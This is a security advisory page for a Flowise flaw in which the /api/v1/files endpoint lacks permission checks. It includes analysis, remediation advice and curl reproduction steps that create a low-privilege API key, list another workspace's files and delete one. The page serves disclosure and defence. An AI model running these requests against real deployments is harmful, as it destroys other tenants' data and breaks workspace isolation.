Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible API requiring a valid API key (PR:L); crosses workspace isolation boundary (S:C); exposes file metadata (C:L) and enables permanent deletion of files in other workspaces (I:H); no availability impact on the system itself.
Primary rating from Vendor (https://github.com/FlowiseAI/Flowise).
CVSS VectorVendor: https://github.com/FlowiseAI/Flowise
Lifecycle Timeline
3DescriptionCVE.org
summary:
In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.
details:
The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:
getAllFilesuses onlyreq.user.activeOrganizationIdand callsgetFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage rootdeleteFilereadsactiveWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed usingactiveOrganizationId + user-controlled path
As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access. In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:
- called
GET /api/v1/filesand received200 OK - listed a test file stored under a different workspace,
f92a9a4d-392e-4db2-af82-d14e1d553446 - called
DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txtand received200 OK - confirmed the file was removed by re-querying the file list
impact:
Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.
reproduction steps:
- Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
curl -i -b tamako.cookie \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
http://localhost:8080/api/v1/apikey- Record the returned API key. In my local test, the key was:
ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E
- Prepare a test file under a different workspace within the same organization, for example:
f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
- Use the low-privileged API key to list files:
curl -i \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
http://localhost:8080/api/v1/files- Observe a
200 OKresponse that includes a file from another workspace, for example:
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]- Use the same API key to delete that file:
curl -i -X DELETE --get \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
--data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
http://localhost:8080/api/v1/files- Observe a
200 OKresponse:
{"message":"file_deleted"}- Call
GET /api/v1/filesagain and confirm that the file is no longer present.
AnalysisAI
Missing authorization on the /api/v1/files endpoint in Flowise allows any authenticated API key holder within an organization to enumerate and permanently delete files belonging to other workspaces. The route is guarded only by a plan-level feature gate (feat:files) with no checkPermission enforcement, meaning an API key scoped to an unrelated permission such as tools:view has full read and delete access to organization-wide file storage. Publicly available exploit code exists in the form of a fully reproducible curl-based proof-of-concept included in the GitHub Security Advisory GHSA-wp74-f5hh-5f3r. The fix in version 3.1.3 disables the endpoint entirely rather than adding proper authorization.
Technical ContextAI
Flowise is an open-source LLM orchestration platform (npm package flowise, CPE pkg:npm/flowise) that provides a multi-workspace, multi-tenant architecture within organizations. The vulnerability is rooted in CWE-862 (Missing Authorization): the /api/v1/files API route mounted in packages/server/src/routes/index.ts only invokes IdentityManager.checkFeatureByPlan('feat:files'), which verifies that the organization's plan includes the files feature, but never calls checkPermission(...) to verify that the requesting API key has file-specific rights. The getAllFiles controller function scopes its storage query to activeOrganizationId - not activeWorkspaceId - so it returns every file under the organization storage root regardless of which workspace uploaded them. The deleteFile controller uses activeOrganizationId plus a fully user-controlled path query parameter to construct the deletion target, meaning an attacker can supply any workspace UUID as a path prefix to delete files from a workspace they do not own. Storage quota accounting reads activeWorkspaceId, but this read has no bearing on authorization.
RemediationAI
Upgrade to Flowise 3.1.3, released at https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3. Note that the fix in PR #6435 (https://github.com/FlowiseAI/Flowise/pull/6435, commit bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb) does not add proper authorization to the endpoint - it disables the /api/v1/files route entirely by commenting it out in routes/index.ts and adding /api/v1/files to API_KEY_BLACKLIST_URLS, which blocks API key access. The UI route is also commented out. Operators who cannot upgrade immediately should block the /api/v1/files path at the API gateway or reverse proxy layer (e.g., return HTTP 403 for any request to /api/v1/files). Trade-off: both the patch and this workaround remove file management functionality entirely for API key consumers. Audit API keys within your organization to identify any with unexpectedly broad behavior, and rotate any keys that may have been used against this endpoint.
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-52726
GHSA-wp74-f5hh-5f3r